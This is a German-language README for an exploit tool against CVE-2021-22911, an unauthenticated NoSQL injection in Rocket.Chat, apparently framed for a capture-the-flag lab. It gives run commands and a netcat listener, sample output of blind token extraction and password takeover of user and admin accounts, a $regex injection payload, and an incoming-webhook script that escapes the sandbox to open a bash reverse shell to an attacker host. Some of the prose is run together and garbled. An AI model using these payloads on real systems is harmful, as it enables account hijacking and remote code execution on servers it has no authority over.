
CVE-2021-22911 Rocket.Chat NoSQL Injection RCE Exploit - Bildungszweck
Dieser Exploit ist ausschließlich für autorisierte Penetrationstests und Bildungszwecke bestimmt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
CVE-2021-22911 ist eine kritische, nicht authentifizierte NoSQL-Injection-Schwachstelle in Rocket.Chat, die zu Remote Code Execution (RCE) führt.
Dieser Exploit verknüpft drei NoSQL-Injection-Angriffe:
$regex-Operator, um das Passwortzurücksetzungs-Token zeichenweise zu extrahierenchild_process.exec(), um eine Reverse Shell zu startenpip install requests
nc -lvnp 4444
Manuelle IP-Eingabe:
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i 10.9.0.1 \
-p 4444
Automatische Erkennung der tun0-IP (empfohlen):
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
-p 4444
Argumente:
-u: E-Mail des Benutzers mit niedrigen Berechtigungen (muss existieren)-a: Administrator-E-Mail-t: Ziel-URL (Rocket.Chat-Instanz)-i: Ihre Angreifer-IP (tun0)-p: Netcat-Listener-Port============================================================
Rocket.Chat CVE-2021-22911 — RCE
Target : http://chat.rocket.thm
Shell : 10.9.0.1:4444
============================================================
[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234
[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234
[PHASE 3] RCE
[!] Start your listener now: nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
userid : userid123456789
token : token123456...
[+] Webhook created
http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener
{
"message": {
"msg": "method",
"method": "getPasswordPolicy",
"params": [
{
"token": {
"$regex": "^abc"
}
}
]
}
}
class Script {
process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
}
}
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Unbefugter Zugriff auf Computersysteme ist eine Straftat nach dem Computer Fraud and Abuse Act (CFAA) und ähnlichen internationalen Gesetzen.
Verantwortungsvoll nutzen. Testen Sie nur Systeme, die Sie besitzen oder für die Sie ausdrücklich schriftliche Erlaubnis zum Testen haben.